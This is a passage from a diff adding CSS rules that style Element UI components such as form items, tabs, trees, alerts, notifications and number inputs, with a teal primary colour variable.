+} + +.el-form-item--mini .el-form-item__content, +.el-form-item--mini .el-form-item__label { + line-height: 28px +} + +.el-form-item--mini .el-form-item__error { + padding-top: 1px +} + +.el-form-item__label-wrap { + float: left +} + +.el-form-item__label-wrap .el-form-item__label { + display: inline-block; + float: none +} + +.el-form-item__label { + text-align: right; + vertical-align: middle; + float: left; + font-size: 14px; + color: #606266; + line-height: 40px; + padding: 0 12px 0 0; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-form-item__content { + line-height: 40px; + position: relative; + font-size: 14px +} + +.el-form-item__content::after, +.el-form-item__content::before { + display: table; + content: "" +} + +.el-form-item__content::after { + clear: both +} + +.el-form-item__content .el-input-group { + vertical-align: top +} + +.el-form-item__error { + color: #f56c6c; + font-size: 12px; + line-height: 1; + padding-top: 4px; + position: absolute; + top: 100%; + left: 0 +} + +.el-form-item__error--inline { + position: relative; + top: auto; + left: auto; + display: inline-block; + margin-left: 10px +} + +.el-form-item.is-required:not(.is-no-asterisk) .el-form-item__label-wrap>.el-form-item__label:before, +.el-form-item.is-required:not(.is-no-asterisk)>.el-form-item__label:before { + content: '*'; + color: #f56c6c; + margin-right: 4px +} + +.el-form-item.is-error .el-input-group__append .el-input__inner, +.el-form-item.is-error .el-input-group__prepend .el-input__inner { + border-color: transparent +} + +.el-form-item.is-error .el-input__validateIcon { + color: #f56c6c +} + +.el-form-item--feedback .el-input__validateIcon { + display: inline-block +} + +.el-tabs__header { + padding: 0; + position: relative; + margin: 0 0 15px +} + +.el-tabs__active-bar { + position: absolute; + bottom: 0; + left: 0; + height: 2px; + background-color: var(--color-primary, #419488); + z-index: 1; + -webkit-transition: -webkit-transform .3s cubic-bezier(.645, .045, .355, 1); + transition: -webkit-transform .3s cubic-bezier(.645, .045, .355, 1); + transition: transform .3s cubic-bezier(.645, .045, .355, 1); + transition: transform .3s cubic-bezier(.645, .045, .355, 1), -webkit-transform .3s cubic-bezier(.645, .045, .355, 1); + list-style: none +} + +.el-tabs__new-tab { + float: right; + border: 1px solid #d3dce6; + height: 18px; + width: 18px; + line-height: 18px; + margin: 12px 0 9px 10px; + border-radius: 3px; + text-align: center; + font-size: 12px; + color: #d3dce6; + cursor: pointer; + -webkit-transition: all .15s; + transition: all .15s +} + +.el-collapse-item__arrow, +.el-tabs__nav { + -webkit-transition: -webkit-transform .3s +} + +.el-tabs__new-tab .el-icon-plus { + -webkit-transform: scale(.8, .8); + transform: scale(.8, .8) +} + +.el-tabs__new-tab:hover { + color: var(--color-primary, #419488) +} + +.el-tabs__nav-wrap { + overflow: hidden; + margin-bottom: -1px; + position: relative +} + +.el-tabs__nav-wrap::after { + content: ""; + position: absolute; + left: 0; + bottom: 0; + width: 100%; + height: 2px; + background-color: #e4e7ed; + z-index: 1 +} + +.el-tabs--border-card>.el-tabs__header .el-tabs__nav-wrap::after, +.el-tabs--card>.el-tabs__header .el-tabs__nav-wrap::after { + content: none +} + +.el-tabs__nav-wrap.is-scrollable { + padding: 0 20px; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-tabs__nav-scroll { + overflow: hidden +} + +.el-tabs__nav-next, +.el-tabs__nav-prev { + position: absolute; + cursor: pointer; + line-height: 44px; + font-size: 12px; + color: #909399 +} + +.el-tabs__nav-next { + right: 0 +} + +.el-tabs__nav-prev { + left: 0 +} + +.el-tabs__nav { + white-space: nowrap; + position: relative; + transition: -webkit-transform .3s; + transition: transform .3s; + transition: transform .3s, -webkit-transform .3s; + float: left; + z-index: 2 +} + +.el-tabs__nav.is-stretch { + min-width: 100%; + display: -webkit-box; + display: -ms-flexbox; + display: flex +} + +.el-tabs__nav.is-stretch>* { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + text-align: center +} + +.el-tabs__item { + padding: 0 20px; + height: 40px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + line-height: 40px; + display: inline-block; + list-style: none; + font-size: 14px; + font-weight: 500; + color: #303133; + position: relative +} + +.el-tabs__item:focus, +.el-tabs__item:focus:active { + outline: 0 +} + +.el-tabs__item:focus.is-active.is-focus:not(:active) { + -webkit-box-shadow: 0 0 2px 2px var(--color-primary, #419488) inset; + box-shadow: 0 0 2px 2px var(--color-primary, #419488) inset; + border-radius: 3px +} + +.el-tabs__item .el-icon-close { + border-radius: 50%; + text-align: center; + -webkit-transition: all .3s cubic-bezier(.645, .045, .355, 1); + transition: all .3s cubic-bezier(.645, .045, .355, 1); + margin-left: 5px +} + +.el-tabs__item .el-icon-close:before { + -webkit-transform: scale(.9); + transform: scale(.9); + display: inline-block +} + +.el-tabs__item .el-icon-close:hover { + background-color: #c0c4cc; + color: #fff +} + +.el-tabs__item.is-active { + color: var(--color-primary, #419488) +} + +.el-tabs__item:hover { + color: var(--color-primary, #419488); + cursor: pointer +} + +.el-tabs__item.is-disabled { + color: #c0c4cc; + cursor: default +} + +.el-tabs__content { + overflow: hidden; + position: relative +} + +.el-tabs--card>.el-tabs__header { + border-bottom: 1px solid #e4e7ed +} + +.el-tabs--card>.el-tabs__header .el-tabs__nav { + border: 1px solid #e4e7ed; + border-bottom: none; + border-radius: 4px 4px 0 0; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-tabs--card>.el-tabs__header .el-tabs__active-bar { + display: none +} + +.el-tabs--card>.el-tabs__header .el-tabs__item .el-icon-close { + position: relative; + font-size: 12px; + width: 0; + height: 14px; + vertical-align: middle; + line-height: 15px; + overflow: hidden; + top: -1px; + right: -2px; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50% +} + +.el-tabs--card>.el-tabs__header .el-tabs__item.is-active.is-closable .el-icon-close, +.el-tabs--card>.el-tabs__header .el-tabs__item.is-closable:hover .el-icon-close { + width: 14px +} + +.el-tabs--card>.el-tabs__header .el-tabs__item { + border-bottom: 1px solid transparent; + border-left: 1px solid #e4e7ed; + -webkit-transition: color .3s cubic-bezier(.645, .045, .355, 1), padding .3s cubic-bezier(.645, .045, .355, 1); + transition: color .3s cubic-bezier(.645, .045, .355, 1), padding .3s cubic-bezier(.645, .045, .355, 1) +} + +.el-tabs--card>.el-tabs__header .el-tabs__item:first-child { + border-left: none +} + +.el-tabs--card>.el-tabs__header .el-tabs__item.is-closable:hover { + padding-left: 13px; + padding-right: 13px +} + +.el-tabs--card>.el-tabs__header .el-tabs__item.is-active { + border-bottom-color: #fff +} + +.el-tabs--card>.el-tabs__header .el-tabs__item.is-active.is-closable { + padding-left: 20px; + padding-right: 20px +} + +.el-tabs--border-card { + background: #fff; + border: 1px solid #dcdfe6; + -webkit-box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .12), 0 0 6px 0 rgba(0, 0, 0, .04); + box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .12), 0 0 6px 0 rgba(0, 0, 0, .04) +} + +.el-tabs--border-card>.el-tabs__content { + padding: 15px +} + +.el-tabs--border-card>.el-tabs__header { + background-color: #f5f7fa; + border-bottom: 1px solid #e4e7ed; + margin: 0 +} + +.el-tabs--border-card>.el-tabs__header .el-tabs__item { + -webkit-transition: all .3s cubic-bezier(.645, .045, .355, 1); + transition: all .3s cubic-bezier(.645, .045, .355, 1); + border: 1px solid transparent; + margin-top: -1px; + color: #909399 +} + +.el-tabs--border-card>.el-tabs__header .el-tabs__item+.el-tabs__item, +.el-tabs--border-card>.el-tabs__header .el-tabs__item:first-child { + margin-left: -1px +} + +.el-tabs--border-card>.el-tabs__header .el-tabs__item.is-active { + color: var(--color-primary, #419488); + background-color: #fff; + border-right-color: #dcdfe6; + border-left-color: #dcdfe6 +} + +.el-tabs--border-card>.el-tabs__header .el-tabs__item:not(.is-disabled):hover { + color: var(--color-primary, #419488) +} + +.el-tabs--border-card>.el-tabs__header .el-tabs__item.is-disabled { + color: #c0c4cc +} + +.el-tabs--border-card>.el-tabs__header .is-scrollable .el-tabs__item:first-child { + margin-left: 0 +} + +.el-tabs--bottom .el-tabs__item.is-bottom:nth-child(2), +.el-tabs--bottom .el-tabs__item.is-top:nth-child(2), +.el-tabs--top .el-tabs__item.is-bottom:nth-child(2), +.el-tabs--top .el-tabs__item.is-top:nth-child(2) { + padding-left: 20px +} + +.el-tabs--bottom .el-tabs__item.is-bottom:last-child, +.el-tabs--bottom .el-tabs__item.is-top:last-child, +.el-tabs--top .el-tabs__item.is-bottom:last-child, +.el-tabs--top .el-tabs__item.is-top:last-child { + padding-right: 0 +} + +.el-tabs--bottom .el-tabs--left>.el-tabs__header .el-tabs__item:nth-child(2), +.el-tabs--bottom .el-tabs--right>.el-tabs__header .el-tabs__item:nth-child(2), +.el-tabs--bottom.el-tabs--border-card>.el-tabs__header .el-tabs__item:nth-child(2), +.el-tabs--bottom.el-tabs--card>.el-tabs__header .el-tabs__item:nth-child(2), +.el-tabs--top .el-tabs--left>.el-tabs__header .el-tabs__item:nth-child(2), +.el-tabs--top .el-tabs--right>.el-tabs__header .el-tabs__item:nth-child(2), +.el-tabs--top.el-tabs--border-card>.el-tabs__header .el-tabs__item:nth-child(2), +.el-tabs--top.el-tabs--card>.el-tabs__header .el-tabs__item:nth-child(2) { + padding-left: 20px +} + +.el-tabs--bottom .el-tabs--left>.el-tabs__header .el-tabs__item:last-child, +.el-tabs--bottom .el-tabs--right>.el-tabs__header .el-tabs__item:last-child, +.el-tabs--bottom.el-tabs--border-card>.el-tabs__header .el-tabs__item:last-child, +.el-tabs--bottom.el-tabs--card>.el-tabs__header .el-tabs__item:last-child, +.el-tabs--top .el-tabs--left>.el-tabs__header .el-tabs__item:last-child, +.el-tabs--top .el-tabs--right>.el-tabs__header .el-tabs__item:last-child, +.el-tabs--top.el-tabs--border-card>.el-tabs__header .el-tabs__item:last-child, +.el-tabs--top.el-tabs--card>.el-tabs__header .el-tabs__item:last-child { + padding-right: 20px +} + +.el-tabs--bottom .el-tabs__header.is-bottom { + margin-bottom: 0; + margin-top: 10px +} + +.el-tabs--bottom.el-tabs--border-card .el-tabs__header.is-bottom { + border-bottom: 0; + border-top: 1px solid #dcdfe6 +} + +.el-tabs--bottom.el-tabs--border-card .el-tabs__nav-wrap.is-bottom { + margin-top: -1px; + margin-bottom: 0 +} + +.el-tabs--bottom.el-tabs--border-card .el-tabs__item.is-bottom:not(.is-active) { + border: 1px solid transparent +} + +.el-tabs--bottom.el-tabs--border-card .el-tabs__item.is-bottom { + margin: 0 -1px -1px +} + +.el-tabs--left, +.el-tabs--right { + overflow: hidden +} + +.el-tabs--left .el-tabs__header.is-left, +.el-tabs--left .el-tabs__header.is-right, +.el-tabs--left .el-tabs__nav-scroll, +.el-tabs--left .el-tabs__nav-wrap.is-left, +.el-tabs--left .el-tabs__nav-wrap.is-right, +.el-tabs--right .el-tabs__header.is-left, +.el-tabs--right .el-tabs__header.is-right, +.el-tabs--right .el-tabs__nav-scroll, +.el-tabs--right .el-tabs__nav-wrap.is-left, +.el-tabs--right .el-tabs__nav-wrap.is-right { + height: 100% +} + +.el-tabs--left .el-tabs__active-bar.is-left, +.el-tabs--left .el-tabs__active-bar.is-right, +.el-tabs--right .el-tabs__active-bar.is-left, +.el-tabs--right .el-tabs__active-bar.is-right { + top: 0; + bottom: auto; + width: 2px; + height: auto +} + +.el-tabs--left .el-tabs__nav-wrap.is-left, +.el-tabs--left .el-tabs__nav-wrap.is-right, +.el-tabs--right .el-tabs__nav-wrap.is-left, +.el-tabs--right .el-tabs__nav-wrap.is-right { + margin-bottom: 0 +} + +.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next, +.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev, +.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next, +.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev, +.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next, +.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev, +.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next, +.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev { + height: 30px; + line-height: 30px; + width: 100%; + text-align: center; + cursor: pointer +} + +.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next i, +.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev i, +.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next i, +.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev i, +.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next i, +.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev i, +.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next i, +.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev i { + -webkit-transform: rotateZ(90deg); + transform: rotateZ(90deg) +} + +.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev, +.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev, +.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev, +.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev { + left: auto; + top: 0 +} + +.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next, +.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next, +.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next, +.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next { + right: auto; + bottom: 0 +} + +.el-tabs--left .el-tabs__active-bar.is-left, +.el-tabs--left .el-tabs__nav-wrap.is-left::after { + right: 0; + left: auto +} + +.el-tabs--left .el-tabs__nav-wrap.is-left.is-scrollable, +.el-tabs--left .el-tabs__nav-wrap.is-right.is-scrollable, +.el-tabs--right .el-tabs__nav-wrap.is-left.is-scrollable, +.el-tabs--right .el-tabs__nav-wrap.is-right.is-scrollable { + padding: 30px 0 +} + +.el-tabs--left .el-tabs__nav-wrap.is-left::after, +.el-tabs--left .el-tabs__nav-wrap.is-right::after, +.el-tabs--right .el-tabs__nav-wrap.is-left::after, +.el-tabs--right .el-tabs__nav-wrap.is-right::after { + height: 100%; + width: 2px; + bottom: auto; + top: 0 +} + +.el-tabs--left .el-tabs__nav.is-left, +.el-tabs--left .el-tabs__nav.is-right, +.el-tabs--right .el-tabs__nav.is-left, +.el-tabs--right .el-tabs__nav.is-right { + float: none +} + +.el-tabs--left .el-tabs__item.is-left, +.el-tabs--left .el-tabs__item.is-right, +.el-tabs--right .el-tabs__item.is-left, +.el-tabs--right .el-tabs__item.is-right { + display: block +} + +.el-tabs--left.el-tabs--card .el-tabs__active-bar.is-left, +.el-tabs--right.el-tabs--card .el-tabs__active-bar.is-right { + display: none +} + +.el-tabs--left .el-tabs__header.is-left { + float: left; + margin-bottom: 0; + margin-right: 10px +} + +.el-tabs--left .el-tabs__nav-wrap.is-left { + margin-right: -1px +} + +.el-tabs--left .el-tabs__item.is-left { + text-align: right +} + +.el-tabs--left.el-tabs--card .el-tabs__item.is-left { + border-left: none; + border-right: 1px solid #e4e7ed; + border-bottom: none; + border-top: 1px solid #e4e7ed; + text-align: left +} + +.el-tabs--left.el-tabs--card .el-tabs__item.is-left:first-child { + border-right: 1px solid #e4e7ed; + border-top: none +} + +.el-tabs--left.el-tabs--card .el-tabs__item.is-left.is-active { + border: 1px solid #e4e7ed; + border-right-color: #fff; + border-left: none; + border-bottom: none +} + +.el-tabs--left.el-tabs--card .el-tabs__item.is-left.is-active:first-child { + border-top: none +} + +.el-tabs--left.el-tabs--card .el-tabs__item.is-left.is-active:last-child { + border-bottom: none +} + +.el-tabs--left.el-tabs--card .el-tabs__nav { + border-radius: 4px 0 0 4px; + border-bottom: 1px solid #e4e7ed; + border-right: none +} + +.el-tabs--left.el-tabs--card .el-tabs__new-tab { + float: none +} + +.el-tabs--left.el-tabs--border-card .el-tabs__header.is-left { + border-right: 1px solid #dfe4ed +} + +.el-tabs--left.el-tabs--border-card .el-tabs__item.is-left { + border: 1px solid transparent; + margin: -1px 0 -1px -1px +} + +.el-tabs--left.el-tabs--border-card .el-tabs__item.is-left.is-active { + border-color: #d1dbe5 transparent +} + +.el-tabs--right .el-tabs__header.is-right { + float: right; + margin-bottom: 0; + margin-left: 10px +} + +.el-tabs--right .el-tabs__nav-wrap.is-right { + margin-left: -1px +} + +.el-tabs--right .el-tabs__nav-wrap.is-right::after { + left: 0; + right: auto +} + +.el-tabs--right .el-tabs__active-bar.is-right { + left: 0 +} + +.el-tabs--right.el-tabs--card .el-tabs__item.is-right { + border-bottom: none; + border-top: 1px solid #e4e7ed +} + +.el-tabs--right.el-tabs--card .el-tabs__item.is-right:first-child { + border-left: 1px solid #e4e7ed; + border-top: none +} + +.el-tabs--right.el-tabs--card .el-tabs__item.is-right.is-active { + border: 1px solid #e4e7ed; + border-left-color: #fff; + border-right: none; + border-bottom: none +} + +.el-tabs--right.el-tabs--card .el-tabs__item.is-right.is-active:first-child { + border-top: none +} + +.el-tabs--right.el-tabs--card .el-tabs__item.is-right.is-active:last-child { + border-bottom: none +} + +.el-tabs--right.el-tabs--card .el-tabs__nav { + border-radius: 0 4px 4px 0; + border-bottom: 1px solid #e4e7ed; + border-left: none +} + +.el-tabs--right.el-tabs--border-card .el-tabs__header.is-right { + border-left: 1px solid #dfe4ed +} + +.el-tabs--right.el-tabs--border-card .el-tabs__item.is-right { + border: 1px solid transparent; + margin: -1px -1px -1px 0 +} + +.el-tabs--right.el-tabs--border-card .el-tabs__item.is-right.is-active { + border-color: #d1dbe5 transparent +} + +.slideInLeft-transition, +.slideInRight-transition { + display: inline-block +} + +.slideInRight-enter { + -webkit-animation: slideInRight-enter .3s; + animation: slideInRight-enter .3s +} + +.slideInRight-leave { + position: absolute; + left: 0; + right: 0; + -webkit-animation: slideInRight-leave .3s; + animation: slideInRight-leave .3s +} + +.slideInLeft-enter { + -webkit-animation: slideInLeft-enter .3s; + animation: slideInLeft-enter .3s +} + +.slideInLeft-leave { + position: absolute; + left: 0; + right: 0; + -webkit-animation: slideInLeft-leave .3s; + animation: slideInLeft-leave .3s +} + +@-webkit-keyframes slideInRight-enter { + 0% { + opacity: 0; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(100%); + transform: translateX(100%) + } + to { + opacity: 1; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(0); + transform: translateX(0) + } +} + +@keyframes slideInRight-enter { + 0% { + opacity: 0; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(100%); + transform: translateX(100%) + } + to { + opacity: 1; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(0); + transform: translateX(0) + } +} + +@-webkit-keyframes slideInRight-leave { + 0% { + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(0); + transform: translateX(0); + opacity: 1 + } + 100% { + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(100%); + transform: translateX(100%); + opacity: 0 + } +} + +@keyframes slideInRight-leave { + 0% { + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(0); + transform: translateX(0); + opacity: 1 + } + 100% { + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(100%); + transform: translateX(100%); + opacity: 0 + } +} + +@-webkit-keyframes slideInLeft-enter { + 0% { + opacity: 0; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(-100%); + transform: translateX(-100%) + } + to { + opacity: 1; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(0); + transform: translateX(0) + } +} + +@keyframes slideInLeft-enter { + 0% { + opacity: 0; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(-100%); + transform: translateX(-100%) + } + to { + opacity: 1; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(0); + transform: translateX(0) + } +} + +@-webkit-keyframes slideInLeft-leave { + 0% { + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(0); + transform: translateX(0); + opacity: 1 + } + 100% { + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(-100%); + transform: translateX(-100%); + opacity: 0 + } +} + +@keyframes slideInLeft-leave { + 0% { + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(0); + transform: translateX(0); + opacity: 1 + } + 100% { + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + -webkit-transform: translateX(-100%); + transform: translateX(-100%); + opacity: 0 + } +} + +.el-tree { + position: relative; + cursor: default; + background: #fff; + color: #606266 +} + +.el-tree__empty-block { + position: relative; + min-height: 60px; + text-align: center; + width: 100%; + height: 100% +} + +.el-tree__empty-text { + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + color: #909399; + font-size: 14px +} + +.el-tree__drop-indicator { + position: absolute; + left: 0; + right: 0; + height: 1px; + background-color: var(--color-primary, #419488) +} + +.el-tree-node { + white-space: nowrap; + outline: 0 +} + +.el-tree-node:focus>.el-tree-node__content { + background-color: #f5f7fa +} + +.el-tree-node.is-drop-inner>.el-tree-node__content .el-tree-node__label { + background-color: var(--color-primary, #419488); + color: #fff +} + +.el-tree-node__content { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + height: 26px; + cursor: pointer +} + +.el-tree-node__content>.el-tree-node__expand-icon { + padding: 6px +} + +.el-tree-node__content>label.el-checkbox { + margin-right: 8px +} + +.el-tree-node__content:hover { + background-color: #f5f7fa +} + +.el-tree.is-dragging .el-tree-node__content { + cursor: move +} + +.el-tree.is-dragging.is-drop-not-allow .el-tree-node__content { + cursor: not-allowed +} + +.el-tree-node__expand-icon { + cursor: pointer; + color: #c0c4cc; + font-size: 12px; + -webkit-transform: rotate(0); + transform: rotate(0); + -webkit-transition: -webkit-transform .3s ease-in-out; + transition: -webkit-transform .3s ease-in-out; + transition: transform .3s ease-in-out; + transition: transform .3s ease-in-out, -webkit-transform .3s ease-in-out +} + +.el-tree-node__expand-icon.expanded { + -webkit-transform: rotate(90deg); + transform: rotate(90deg) +} + +.el-tree-node__expand-icon.is-leaf { + color: transparent; + cursor: default +} + +.el-tree-node__label { + font-size: 14px +} + +.el-tree-node__loading-icon { + margin-right: 8px; + font-size: 14px; + color: #c0c4cc +} + +.el-tree-node>.el-tree-node__children { + overflow: hidden; + background-color: transparent +} + +.el-tree-node.is-expanded>.el-tree-node__children { + display: block +} + +.el-tree--highlight-current .el-tree-node.is-current>.el-tree-node__content { + background-color: #f0f7ff +} + +.el-alert { + width: 100%; + padding: 8px 16px; + margin: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 4px; + position: relative; + background-color: #fff; + overflow: hidden; + opacity: 1; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-transition: opacity .2s; + transition: opacity .2s +} + +.el-alert.is-light .el-alert__closebtn { + color: #c0c4cc +} + +.el-alert.is-dark .el-alert__closebtn, +.el-alert.is-dark .el-alert__description { + color: #fff +} + +.el-alert.is-center { + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center +} + +.el-alert--success.is-light { + background-color: #f0f9eb; + color: #67c23a +} + +.el-alert--success.is-light .el-alert__description { + color: #67c23a +} + +.el-alert--success.is-dark { + background-color: #67c23a; + color: #fff +} + +.el-alert--info.is-light { + background-color: #f4f4f5; + color: #909399 +} + +.el-alert--info.is-dark { + background-color: #909399; + color: #fff +} + +.el-alert--info .el-alert__description { + color: #909399 +} + +.el-alert--warning.is-light { + background-color: #fdf6ec; + color: #e6a23c +} + +.el-alert--warning.is-light .el-alert__description { + color: #e6a23c +} + +.el-alert--warning.is-dark { + background-color: #e6a23c; + color: #fff +} + +.el-alert--error.is-light { + background-color: #fef0f0; + color: #f56c6c +} + +.el-alert--error.is-light .el-alert__description { + color: #f56c6c +} + +.el-alert--error.is-dark { + background-color: #f56c6c; + color: #fff +} + +.el-alert__content { + display: table-cell; + padding: 0 8px +} + +.el-alert__icon { + font-size: 16px; + width: 16px +} + +.el-alert__icon.is-big { + font-size: 28px; + width: 28px +} + +.el-alert__title { + font-size: 13px; + line-height: 18px +} + +.el-alert__title.is-bold { + font-weight: 700 +} + +.el-alert .el-alert__description { + font-size: 12px; + margin: 5px 0 0 +} + +.el-alert__closebtn { + font-size: 12px; + opacity: 1; + position: absolute; + top: 12px; + right: 15px; + cursor: pointer +} + +.el-alert-fade-enter, +.el-alert-fade-leave-active, +.el-loading-fade-enter, +.el-loading-fade-leave-active, +.el-notification-fade-leave-active { + opacity: 0 +} + +.el-alert__closebtn.is-customed { + font-style: normal; + font-size: 13px; + top: 9px +} + +.el-notification { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + width: 330px; + padding: 14px 26px 14px 13px; + border-radius: 8px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 1px solid #ebeef5; + position: fixed; + background-color: #fff; + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + -webkit-transition: opacity .3s, left .3s, right .3s, top .4s, bottom .3s, -webkit-transform .3s; + transition: opacity .3s, left .3s, right .3s, top .4s, bottom .3s, -webkit-transform .3s; + transition: opacity .3s, transform .3s, left .3s, right .3s, top .4s, bottom .3s; + transition: opacity .3s, transform .3s, left .3s, right .3s, top .4s, bottom .3s, -webkit-transform .3s; + overflow: hidden +} + +.el-notification.right { + right: 16px +} + +.el-notification.left { + left: 16px +} + +.el-notification__group { + margin-left: 13px; + margin-right: 8px +} + +.el-notification__title { + font-weight: 700; + font-size: 16px; + color: #303133; + margin: 0 +} + +.el-notification__content { + font-size: 14px; + line-height: 21px; + margin: 6px 0 0; + color: #606266; + text-align: justify +} + +.el-notification__content p { + margin: 0 +} + +.el-notification__icon { + height: 24px; + width: 24px; + font-size: 24px +} + +.el-notification__closeBtn { + position: absolute; + top: 18px; + right: 15px; + cursor: pointer; + color: #909399; + font-size: 16px +} + +.el-notification__closeBtn:hover { + color: #606266 +} + +.el-notification .el-icon-success { + color: #67c23a +} + +.el-notification .el-icon-error { + color: #f56c6c +} + +.el-notification .el-icon-info { + color: #909399 +} + +.el-notification .el-icon-warning { + color: #e6a23c +} + +.el-notification-fade-enter.right { + right: 0; + -webkit-transform: translateX(100%); + transform: translateX(100%) +} + +.el-notification-fade-enter.left { + left: 0; + -webkit-transform: translateX(-100%); + transform: translateX(-100%) +} + +.el-input-number { + position: relative; + display: inline-block; + width: 180px; + line-height: 38px +} + +.el-input-number .el-input { + display: block +} + +.el-input-number .el-input__inner { + -webkit-appearance: none; + padding-left: 50px; + padding-right: 50px; + text-align: center +} + +.el-input-number__decrease, +.el-input-number__increase { + position: absolute; + z-index: 1; + top: 1px; + width: 40px; + height: auto; + text-align: center; + background: #f5f7fa; + color: #606266; + cursor: pointer; + font-size: 13px +} + +.el-input-number__decrease:hover, +.el-input-number__increase:hover { + color: var(--color-primary, #419488) +} + +.el-input-number__decrease:hover:not(.is-disabled)~.el-input .el-input__inner:not(.is-disabled), +.el-input-number__increase:hover:not(.is-disabled)~.el-input .el-input__inner:not(.is-disabled) { + border-color: var(--color-primary, #419488) +} + +.el-input-number__decrease.is-disabled, +.el-input-number__increase.is-disabled { + color: #c0c4cc; + cursor: not-allowed +} + +.el-input-number__increase { + right: 1px; + border-radius: 0 4px 4px 0; + border-left: 1px solid #dcdfe6 +} + +.el-input-number__decrease { + left: 1px; + border-radius: 4px 0 0 4px; + border-right: 1px solid #dcdfe6 +} + +.el-input-number.is-disabled .el-input-number__decrease, +.el-input-number.is-disabled .el-input-number__increase { + border-color: #e4e7ed; + color: #e4e7ed +} + +.el-input-number.is-disabled .el-input-number__decrease:hover, +.el-input-number.is-disabled .el-input-number__increase:hover { + color: #e4e7ed; + cursor: not-allowed +} + +.el-input-number--medium { + width: 200px; + line-height: 34px +} + +.el-input-number--medium .el-input-number__decrease, +.el-input-number--medium .el-input-number__increase { + width: 36px; + font-size: 14px +} + +.el-input-number--medium .el-input__inner { + padding-left: 43px; + padding-right: 43px +} + +.el-input-number--small { + width: 130px; + line-height: 30px +} + +.el-input-number--small .el-input-number__decrease, +.el-input-number--small .el-input-number__increase { + width: 32px; + font-size: 13px +} + +.el-input-number--small .el-input-number__decrease [class*=el-icon], +.el-input-number--small .el-input-number__increase [class*=el-icon] { + -webkit-transform: scale(.9); + transform: scale(.9) +} + +.el-input-number--small .el-input__inner { + padding-left: 39px; + padding-right: 39px +} + +.el-input-number--mini { + width: 130px; + line-height: 26px +} + +.el-input-number--mini .el-input-number__decrease, +.el-input-number--mini .el-input-number__increase { + width: 28px; + font-size: 12px +} + +.el-input-number--mini .el-input-number__decrease [class*=el-icon], +.el-input-number--mini .el-input-number__increase [class*=el-icon] { + -webkit-transform: scale(.8); + transform: scale(.8) +} + +.el-input-number--mini .el-input__inner { + padding-left: 35px; + padding-right: 35px +} + +.el-input-number.is-without-controls .el-input__inner { + padding-left: 15px; + padding-right: 15px +} + +.el-input-number.is-controls-right .el-input__inner { + padding-left: 15px; + padding-right: 50px +} + +.el-input-number.is-controls-right .el-input-number__decrease, +.el-input-number.is-controls-right .el-input-number__increase { + height: auto; + line-height: 19px +} + +.el-input-number.is-controls-right .el-input-number__decrease [class*=el-icon], +.el-input-number.is-controls-right .el-input-number__increase [class*=el-icon] { + -webkit-transform: 